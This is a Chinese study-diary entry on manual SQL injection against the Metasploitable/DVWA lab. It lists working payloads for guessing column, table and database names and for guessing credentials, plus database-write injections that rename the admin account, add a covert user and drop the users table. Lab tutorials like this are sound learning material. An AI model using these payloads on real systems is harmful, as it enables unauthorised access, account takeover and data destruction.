小白日记41:kali渗透测试之Web渗透-SQL手工注入(三)-猜测列名、表名、库名、字段内容,数据库写入
SQL手工注入
靶机:metasploitable(低)
1、当无权读取infomation_schema库【MySQL最重要的源数据库,必须有root权限】/拒绝union、order by语句
#若不为root
a.猜列名: ' and coclumn is null--+ 【并且列有一个字段为空,正常执行,若没有空字段,且该列存在,返回空白内容;若列不存在,则报错】(可确定语句可插入数据库运行)
例如:' and asd is null--+
使用kali集成的字典文件
#对字典中以#号开头的行过滤【cat common-colums.txt | grep -V ^# > column.txt】
BurpSuite自动猜列名(使用字典文件)【不一定是全部列】
#也可通过返回的长度(length)来筛选
b.猜测当前表名: ' and table.user is null--+ 【(user为已确定存在列名)如果列有字段为空,返回表名,若没有空字段,不会返回结果,若表名不存在,会报错】
#还可通过db.table.user猜测数据库名称【同样的方法】
kali中查找表名集成文件
cat /usr/share/golismero/tools/sqlmap/txt/common-tables.txt | grep -v ^# > table.txt
#通常来说,表名应该只有一个,不排除存在其他表名
c.猜测库里其他表: ' and (select count(*) from table)>0--+ 【统计表中记录,若大于0,表名存在,可能直接爆出库名和表名】
#同上,使用burpsuite
d.列表对应关系: ' and users.user is null--+
#通过上述方法,整理出已知列名文件
e.猜字段内容:
' or user='admin 【后面为真,则显示,证明该内容存在】
' or user like '%a% 【通配符,只要字段中包含a,则显示】
f.猜账号对应密码: 'or user='admin' and password='1h29rwg27g9agf9291r9
#可使用md5sum命令进行加密
2、当数据库可写入【前提,数据库配置的权限足够】
a. ';update users set user='root' where user='admin' 【直接修改其账号/密码(密码为自己设定的密码的MD5值)将admin更新为root】
#但是在dvwa中无法运行该语句,是sql客户端的问题代码存在问题,导致注入失败【原因】
数据库密码破解程序HexoBase,同时也是数据库连接的客户端程序
b.'; INSERT INTO users (' user_id',' first_name',' last_name','user','password','avatar') VALUES('35','fh','root','toor','5f4dcc3b5aa765d61d8327deb882cf99','OK');--+ 【插入:添加一个新用户,可隐秘行事】
c.DROP TABLE users;-- 【删除表】
#利用数据库管理系统中默认的存储过程进行注入 【xp_cmdshell /存储过程】
#SQL注入没有通用的方法,掌握原理,了解各种数据库特性
3、SQL注入难度提升讲解
low
medium
代码分析:$id:该变量不需要使用单引号闭合,也不需要使用--进行注释,所以注入之前中已不需要加单引号进行,过滤函数已为多余
#mysql_real_escape_string() 【php5.5.0已经弃用该函数,PHP 7.0.0已经删除该函数,使用MySQLi、PDO_MySQL代替】
转义函数,对以下下列字符转义
High